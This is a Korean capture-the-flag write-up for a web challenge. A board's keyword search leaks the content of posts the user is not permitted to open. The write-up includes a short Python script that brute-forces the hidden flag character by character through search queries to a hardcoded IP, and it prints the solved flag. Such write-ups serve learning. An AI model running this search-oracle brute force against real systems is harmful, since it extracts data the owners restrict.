1. Description
웹 어플리케이션의 기능이 잘못 설계된 경우 내부의 비공개 정보를 노출하는 문제가 발생할 수 있다. 이번 문제는 게시판 기능에서 발생하는 전형적인 정보 노출 취약점 이해를 평가한다.
2. Write up
문제 페이지에 접속해보면 검색하는 페이지가 나온다.
Permission이 All인 게시글을 접속이 가능하지만 hacker인 게시글은 접속이 불가하다.
대신 게시글의 내용을 검색할 수 있는 기능이 존재한다.
플래그가 cce{.....}로 구성된 것을 유추해볼 때 "ca"를 검색하면 나오지 않지만 "cc"를 검색하면 검색 결과가 나온다. 따라서 검색 결과로 Permission에 "All"이 나오지 않고 "hey hacker"가 나오는 조건의 문자열을 brute forcing했다.
import requests
import string
URL = "http://20.194.123.134/search"
charactors = string.ascii_letters
charactors += string.digits
charactors += "{}"
key = "c"
while True:
for i in charactors:
params = {'keyword' : key+i}
res = requests.get(URL, params=params)
#print res.url
if "All" not in res.text and "hey hacker" in res.text:
key += i
break
print key
if key[-1] == "}":
break
Python
복사
3. FLAG
cce2021{2e8a68e4e3a7d729bafa6d146349e304}

